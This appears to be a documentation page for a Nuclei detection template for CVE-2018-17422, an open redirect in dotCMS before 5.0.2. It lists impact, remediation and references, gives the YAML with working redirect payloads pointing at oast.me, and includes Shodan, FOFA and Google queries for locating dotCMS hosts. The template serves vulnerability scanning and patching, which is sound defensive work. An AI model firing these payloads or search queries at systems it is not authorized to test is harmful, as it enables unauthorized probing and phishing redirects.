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DotCMS < 5.0.2 - Open Redirect

ID: CVE-2018-17422

Severity: medium

Author: 0x_Akoko,daffainfo

Tags: cve2018,cve,redirect,dotcms

Description

Section titled “Description”

dotCMS before 5.0.2 contains multiple open redirect vulnerabilities via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2018-17422


info:
  name: DotCMS < 5.0.2 - Open Redirect
  author: 0x_Akoko,daffainfo
  severity: medium
  description: |
    dotCMS before 5.0.2 contains multiple open redirect vulnerabilities via the html/common/forward_js.jsp FORWARD_URL parameter or the html/portlet/ext/common/page_preview_popup.jsp hostname parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Upgrade to a version of DotCMS that is higher than 5.0.2 to mitigate the open redirect vulnerability.
  reference:
    - https://github.com/dotCMS/core/issues/15286
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17422
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-17422
    cwe-id: CWE-601
    epss-score: 0.00118
    epss-percentile: 0.45948
    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query:
      - http.title:"dotCMS"
      - http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve2018,cve,redirect,dotcms


http:
  - method: GET
    path:
      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://oast.me'
      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=oast.me'


    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "self.location = 'http://oast.me'"
          - "location.href = 'http\\x3a\\x2f\\x2fwww\\x2eoast\\x2eme'"
# digest: 4a0a00473045022013889fb666ac025de6c7272f6eaa4770c0c1bbbeeb8671cf9ba281674ba78dda022100cdca1e51b667a81b1cbdb5651ca5388a7ced72d2004cb7dff60628cb323fb0aa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-17422.yaml"

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